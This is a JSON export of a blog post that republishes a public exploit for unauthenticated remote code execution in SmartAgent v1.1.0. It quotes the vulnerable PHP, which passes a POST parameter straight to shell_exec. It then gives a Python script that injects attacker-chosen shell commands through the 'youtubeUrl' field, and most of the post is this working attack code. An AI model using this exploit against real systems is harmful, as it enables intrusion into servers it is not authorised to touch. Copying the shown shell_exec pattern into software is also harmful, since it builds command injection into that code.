{"id":60060,"date":"2024-11-02T04:04:22","date_gmt":"2024-11-02T01:04:22","guid":{"rendered":"https:\/\/packetstormsecurity.com\/files\/182451\/smartagent110-exec.txt"},"modified":"2024-11-02T04:04:22","modified_gmt":"2024-11-02T01:04:22","slug":"smartagent-1-1-0-remote-code-execution","status":"publish","type":"post","link":"https:\/\/afaghhosting.net\/blog\/smartagent-1-1-0-remote-code-execution\/","title":{"rendered":"SmartAgent 1.1.0 Remote Code Execution"},"content":{"rendered":"<p># Exploit Title: SmartAgent v1.1.0 &#8211; Unauthenticated Remote Code Execution<br \/># Date: 01-10-2024<br \/># Exploit Author: Alter Prime<br \/># Vendor Homepage: https:\/\/smarts-srlcom.com\/, https:\/\/smartagent.com<br \/># Version: Build v1.1.0<br \/># Tested on: Kali Linux<\/p>\n<p>An unauthenticated user can access a php script called https:\/\/smarts-srlcom.com\/youtubeInfo.php from the vulnerable web application and through a POST request with vulnerable parameter &#8220;youtubeUrl&#8221; a command injection vulnerability could be triggered.<\/p>\n<p>Vulnerable code snippet from youtubeInfo.php:<br \/>&#8220;&#8221;&#8221;<br \/>$youtubeUrl=$_POST[&#8220;youtubeUrl&#8221;];<br \/>$command = &#8216;youtube-dl -j &#8216; . $youtubeUrl;<br \/>echo shell_exec($command);<br \/>&#8220;&#8221;&#8221;<\/p>\n<p>Steps To Reproduce:<br \/>1. Run the below python script on a vulnerable web application instance of SmartAgent v1.1.0<\/p>\n<p>#Python Exploit<\/p>\n<p>import requests<\/p>\n<p>url = &#8220;https:\/\/smarts-srlcom.com?youtubeInfo.php&#8221;<br \/>command = input(&#8220;Enter the command you want to run \\(EX: id\\): &#8220;)<\/p>\n<p>postdata = {<br \/>&#8220;youtubeUrl&#8221;: &#8220;;&#8221; + command<br \/>}<\/p>\n<p>response = requests.post(url, data=postdata, verify=False)<br \/>print(response.text)<\/p>\n","protected":false},"excerpt":{"rendered":"<p># Exploit Title: SmartAgent v1.1.0 &#8211; Unauthenticated Remote Code Execution# Date: 01-10-2024# Exploit Author: Alter Prime# Vendor Homepage: https:\/\/smarts-srlcom.com\/, https:\/\/smartagent.com# Version: Build v1.1.0# Tested on: Kali Linux An unauthenticated user can access a php script called https:\/\/smarts-srlcom.com\/youtubeInfo.php from the vulnerable web application and through a POST request with vulnerable parameter &#8220;youtubeUrl&#8221; a command injection vulnerability &hellip;<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"closed","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[26],"tags":[],"class_list":["post-60060","post","type-post","status-publish","format-standard","hentry","category-vulnerability"],"_links":{"self":[{"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/posts\/60060","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/comments?post=60060"}],"version-history":[{"count":0,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/posts\/60060\/revisions"}],"wp:attachment":[{"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/media?parent=60060"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/categories?post=60060"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/tags?post=60060"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}